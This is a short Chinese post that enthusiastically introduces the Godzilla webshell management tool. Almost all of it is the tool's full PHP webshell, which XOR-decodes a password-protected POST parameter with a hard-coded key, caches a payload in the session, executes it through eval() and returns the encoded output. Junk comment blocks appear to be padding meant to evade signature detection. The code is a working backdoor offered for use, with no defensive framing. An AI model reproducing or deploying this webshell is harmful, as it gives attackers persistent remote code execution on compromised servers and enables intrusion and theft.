哥斯拉 webshell 管理工具试用- 爽

Github ： https://github.com/BeichenDream/Godzilla

 

<?php
@session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
    for($i=0;$i<strlen($D);$i++) {
        $c = $K[$i+1&15];
/*
也不知道.....GGGGG
SDFASDF
FDFFSDF
*/
        $D[$i] = $D[$i]^$c;
    }
    return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
    $data=encode(base64_decode($_POST[$pass]),$key);
    if (isset($_SESSION[$payloadName])){
/*
也不知道.....
SDFASDF
FDFFSDF
*/
        $payload=encode($_SESSION[$payloadName],$key);
        if (strpos($payload,"getBasicsInfo")===false){
            $payload=encode($payload,$key);
        }
/*
也不知道.....GGGG
SDFASDF
FDFFSDF
*/
		eval("".$payload);
        echo substr(md5($pass.$key),0,16);
        echo base64_encode(encode(@run($data),$key));
        echo substr(md5($pass.$key),16);
    }else{
        if (strpos($data,"getBasicsInfo")!==false){
            $_SESSION[$payloadName]=encode($data,$key);
        }
    }
}